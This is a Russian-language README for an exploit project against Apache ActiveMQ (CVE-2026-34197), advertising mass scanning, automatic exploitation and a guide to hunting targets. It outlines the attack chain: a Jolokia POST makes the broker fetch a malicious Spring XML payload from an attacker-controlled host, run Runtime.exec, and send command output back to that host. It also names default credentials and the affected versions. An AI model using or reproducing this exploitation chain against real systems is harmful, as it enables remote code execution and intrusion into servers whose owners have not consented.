Эксплойт для Apache ActiveMQ RCE через Jolokia API (CVE-2026-34197) с захватом вывода команд, массовым сканированием и автоматической эксплуатацией.
Обзор • Детали • Вектор атаки • Быстрый старт • Руководство по ATTACKER_IP • Использование • Захват вывода • Сканер • Поиск • Обнаружение • Устранение
CVE-2026-34197 — это критическая уязвимость удалённого выполнения кода (RCE) в Apache ActiveMQ Classic, которая позволяет аутентифицированному злоумышленнику выполнять произвольные команды операционной системы через Jolokia API, доступный в веб-консоли.
Уязвимость существует уже более 13 лет и кроется во взаимодействии между Jolokia (HTTP-JMX мост), MBeans ActiveMQ, сетевыми коннекторами и VM-транспортом.
[!CAUTION] Это первый публичный PoC, разработанный KONDOR DEV SECURITY. Используйте только в авторизованных оценках безопасности.
id, whoami, cat /etc/passwd) автоматически отображают свой вывод в вашем терминалеversion_check.py) — многопоточное определение версии + целевая эксплуатация| ID CVE | CVE-2026-34197 |
| Серьёзность | |
| Тип | Удалённое выполнение кода (RCE) |
| CWE | CWE-20 (Некорректная проверка входных данных) / CWE-94 (Внедрение кода) |
| Затронутые версии | ActiveMQ Classic < 5.19.4 и 6.0.0 — 6.2.2 |
| Исправлено в | 5.19.4 / 6.2.3 |
| Требуется аутентификация | Да (часто используются учётные данные по умолчанию admin:admin) |
| Без аутентификации | 6.0.0 — 6.1.1 (из-за CVE-2024-32114) |
| Порт по умолчанию | 8161 (веб-консоль) |
CVE-2026-34197 — Exploitation Chain
──────────────────────────────────────────────────────────────
ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │
### Пошаговый разбор
| Шаг | Действие | Компонент |
|:----:|--------|-----------|
| **1** | Атакующий отправляет POST-запрос на `/api/jolokia/`, вызывая `addNetworkConnector` на MBean-объекте Broker | Jolokia API |
| **2** | ActiveMQ обрабатывает URI транспорта `vm://` и создаёт временный брокер с `brokerConfig`, указывающим на удалённый URL | VM Transport |
| **3** | Схема `xbean:` инициирует загрузку Spring XML-файла конфигурации с сервера атакующего | Spring / XBean |
| **4** | Spring создаёт все бины из XML, включая тот, который вызывает `Runtime.getRuntime().exec()` | Spring Context |
| **5** | Для простых команд вывод перехватывается и отправляется обратно через HTTP POST на прослушивающий сервер атакующего (автоматически) | Output Capture |
---
## Структура проекта```
CVE-2026-34197/
├── exploit.py # PoC exploit (single target + mass scan)
├── version_check.py # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│ └── template.xml # Spring XML payload template
├── targets.txt # Target URLs (one per line)
├── docker/
│ └── docker-compose.yml # Vulnerable lab environment
├── docs/
│ ├── HUNTING_GUIDE_EN.md # Target hunting guide (English)
│ └── HUNTING_GUIDE_ES.md # Guía de búsqueda (Español)
├── LICENSE
└── README.md